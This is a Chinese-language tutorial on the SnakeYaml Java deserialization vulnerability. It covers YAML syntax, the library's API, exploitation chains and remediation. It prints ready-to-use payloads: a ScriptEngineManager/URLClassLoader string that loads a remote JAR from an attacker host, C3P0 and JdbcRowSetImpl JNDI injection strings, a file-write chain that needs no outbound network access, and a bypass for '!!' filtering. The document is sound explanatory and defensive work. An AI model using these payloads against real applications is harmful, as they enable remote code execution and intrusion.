SnakeYaml反序列化
字数 1611 2025-08-26 22:11:15
SnakeYaml反序列化漏洞分析与利用指南
1. YAML基础语法
1.1 YAML基本特性
- 大小写敏感:YAML对大小写敏感
- 缩进表示层级:使用空格缩进表示层级关系(不能使用TAB)
- 数据结构:支持三种基本数据结构
1.2 YAML数据结构
对象
使用冒号表示键值对,冒号后需加空格:
key: value
层级关系表示:
key:
child-key: value
child-key2: value2
数组
使用短横线加空格表示数组项:
hobby:
- Java
- LOL
常量类型
YAML支持多种常量类型:
boolean:
- TRUE # true,True都可以
- FALSE # false,False都可以
float:
- 3.14
- 6.8523015e+5 # 科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 # 二进制表示
null:
nodeName: 'node'
parent: ~ # 使用~表示null
string:
- 哈哈
- 'Hello world' # 特殊字符使用引号包裹
date:
- 2022-07-28 # ISO 8601格式
datetime:
- 2022-07-28T15:02:31+08:00 # ISO 8601格式
2. SnakeYaml简介
2.1 基本功能
SnakeYaml是Java的YAML解析库,支持:
- Java对象的序列化/反序列化
- YAML与Java对象的相互转换
2.2 环境搭建
Maven依赖:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
2.3 序列化方法
String dump(Object data):将对象序列化为YAML字符串void dump(Object data, Writer output):将对象序列化为YAML流String dumpAll(Iterator<? extends Object> data):序列化一系列对象String dumpAsMap(Object data):将对象序列化为YAML字符串
2.4 反序列化方法
<T> T load(InputStream io):解析流中的YAML文档<T> T load(String yaml):解析字符串中的YAML文档<T> T loadAs(String yaml, Class<T> type):指定类型反序列化Iterable<Object> loadAll(String yaml):解析所有YAML文档
3. 反序列化漏洞分析
3.1 漏洞原理
- 通过
!!+全类名指定反序列化的类 - 反序列化过程中会实例化该类
- 可利用SPI机制通过URLClassLoader或JNDI加载恶意类
- 影响版本:全版本
3.2 漏洞利用条件
- 反序列化内容可控
- 存在可利用的Gadget链
3.3 SPI机制
SPI(Service Provider Interface)是一种服务发现机制:
- 在
META-INF/services下创建以服务接口命名的文件 - 文件内容为实现类的全类名
- 程序通过
java.util.ServiceLoder动态装载实现模块
3.4 漏洞复现步骤
- 准备恶意JAR包(使用yaml-payload)
- 启动Web服务托管JAR
- 构造恶意YAML:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/yaml-payload.jar"]
]]
]
- 触发反序列化
4. 漏洞利用方式
4.1 ScriptEngineManager利用
String str = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(str);
4.2 C3P0 Gadget利用
JNDI注入
String str = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
"jndiName: rmi://127.0.0.1:1099/EXP\n" +
"loginTimeout: 0";
Yaml yaml = new Yaml();
yaml.load(str);
Hex序列化
String HexString = "aced00057372..."; // 序列化后的hex字符串
String str = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + HexString + ';';
Yaml yaml = new Yaml();
yaml.load(str);
4.3 JdbcRowSetImpl利用
String str = "!!com.sun.rowset.JdbcRowSetImpl\n" +
"dataSourceName: rmi://127.0.0.1:1099/EXP\n" +
"autoCommit: true";
Yaml yaml = new Yaml();
yaml.load(str);
4.4 不出网利用(文件写入)
- 生成恶意YAML:
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml.jar\"],false],!!java.util.zip.Inflater { input: !!binary " + base64str + " },1048576]]";
- 加载本地JAR:
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file:./yaml.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(context);
5. 漏洞修复方案
5.1 安全配置
使用SafeConstructor进行过滤:
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);
5.2 其他防护措施
- 升级到最新版本
- 对反序列化内容进行严格过滤
- 限制反序列化的类范围
6. 技术细节补充
6.1 绕过!!过滤
当!!被过滤时,可以使用tag标识绕过:
tag:yaml.org,2002:javax.script.ScriptEngineManager [...]
6.2 load与loadAs区别
load()默认使用Object.class作为类型loadAs()可指定反序列化类型,但若指定类中存在Object类型属性,仍可触发漏洞
6.3 反序列化流程
- 解析YAML内容为Node对象
- 根据tag获取对应的Class
- 通过反射实例化对象
- 调用setter方法设置属性
- 对于SPI类,会触发服务加载机制
7. 总结
SnakeYaml反序列化漏洞与Fastjson漏洞类似,都是通过指定全类名调用setter方法实现攻击。利用该漏洞需要:
- 构造合适的Gadget链
- 控制反序列化内容
- 利用SPI或JNDI等机制加载恶意类
防护措施应以限制反序列化类为主,结合输入过滤和安全配置,确保系统安全。